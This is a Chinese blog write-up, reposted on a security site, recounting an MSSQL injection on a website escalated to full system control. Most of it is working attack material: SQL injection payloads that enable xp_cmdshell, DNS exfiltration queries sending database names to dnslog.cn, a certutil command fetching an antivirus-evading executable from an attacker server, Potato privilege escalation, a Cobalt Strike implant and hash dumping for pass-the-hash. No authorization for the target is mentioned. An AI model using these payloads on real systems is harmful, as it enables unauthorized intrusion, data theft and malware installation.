记一次mssql注入到getshell

admin 2021年9月24日14:26:36记一次mssql注入到getshell已关闭评论1,012 views字数 2534阅读8分26秒阅读模式

本文来自宽字节安全第一期学员大头95投稿。第二期线下培训预计十一月底开班,欢迎咨询。

首先判断注入

图片

很明显的报错注入
判断是否是mssql

powershelladmin' and exists (select * from sysobjects)  and '1'='1
图片

说明条件为真,如果不是mssql则应该为如下提示:

图片

判断是否是管理员权限:

powershelladmin' and 1=(select IS_SRVROLEMEMBER('sysadmin'))  and '1'='1
图片

很明显是管理员权限,堆叠注入开启xp_cmdshell

powershelladmin';EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE; -- q

判断一下能不能执行命令

powershelladmin';exec master..xp_cmdshell "ping d5bbvf.dnslog.cn; -- q

发现是可以执行命令的,好不容易遇到一个管理员权限的站,试一试各种dns外带数据
在允许堆叠注入的情况下,可以通过声明变量来将数据外带

图片

sqlDECLARE @host varchar(1024);                                        声明变量@host

SELECT @host='ping '+(select db_name())+'.bll6ub.dnslog.cn';        变量赋值

EXEC('master..xp_cmdshell'+'"'+@host+'"');                          执行命令
图片

在不允许堆叠注入的情况也可以将数据通过dns外带带出来,下面来介绍几种

sqland exists(select * from fn_xe_file_target_read_file('C:*.xls','\'+(需要查询的内容)+'.bde3xv.dnslog.cn1.txt',null,null))
图片
sqland exists(select * from fn_trace_gettable('\'+(select db_name())+'.6bg39e.dnslog.cn1.trc',default))
图片
sql(select 1 where exists(select * from fn_get_audit_file('\'+(select db_name())+'.71dg9y.dnslog.cn',default,default)))

这些方法在只允许盲注的情况下都可以把数据带出来,当然,也可以像sqlmap一样,将要查询的数据写到创建的表里面,再从表里面查出来。比如我想看看他c盘下有什么文件。为了方便看,bp抓包一波

sqlCREATE TABLE cmdtable ([Id] BIGINT PRIMARY KEY IDENTITY(1,1),[dir] varchar(8000));创建表cmdtable,字段名id和dir
insert into cmdtable(dir) exec master..xp_cmdshell 'dir c:';   将dir c: 的结果插入dir字段
select top 1 dir from cmdtable where id=2;                      查询字段内容

当然,最后的查询结果在这里只能通过报错或者dns外带出来。完整的语句如下

sqladmin';CREATE TABLE cmdtable ([Id] BIGINT PRIMARY KEY IDENTITY(1,1),[dir] varchar(8000));insert into cmdtable(dir) exec master..xp_cmdshell 'dir c:';select convert(int,(select top 1 dir from cmdtable where id=10),111); -- 
图片

接着往下改变id的值就能把c盘的文件都给遍历出来了。接下来就该查一下有没有杀软然后上传exe上线cs了
通过bp遍历发现是有defender的,所以上个免杀的马儿吧

certutil -urlcache -split -f http://vpsip:80/download/file c:usersSBlogin.exe

但是经过多次上传都以失败告终,vps有请求,但是文件没有落上去,我想应该是c盘权限的问题,于是我有去列了一下盘符

wmic logicaldisk where drivetype=3 get deviceid
图片

发现他还有一个D盘,于是我把我的exe落到了盘目录下再查询,下面再来一条查询指定文件的cmd命令

for /r d: %i in (SBlogin.exe) do @echo %i

当然直接dir d:SBlogin.exe也可以
如果是盲注的情况,通过&&与dns外带也可判断出文件有没有落地

dir d:SBlogin.exe && ping DNS
图片

上传成功了,那就运行exe上线cs

图片

服务权限,有SeImpersonatePrivilege这个令牌----->土豆提权

图片

执行一下SBlogin.exe,提到system权限

图片

看一下有没有域

wmic computersystem get domain
图片

没有域,那就dump一波hash用administrator去PTH

图片

很明显,administrator是空密码,横向不了,拉到了拉到了。

相关推荐: 【XSSI】动态JS劫持用户信息-Webpack+JSONP劫持

动态JS劫持用户信息-Webpack+JSONP劫持作者:key注:本文已对敏感信息脱敏化,如有雷同纯属巧合。前言在做测试的时候发现一个请求:POST /user/getUserInfo HTTP/1.1Host: xxxxxCookie: xxxxticke…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月24日14:26:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次mssql注入到getshellhttps://cn-sec.com/archives/549326.html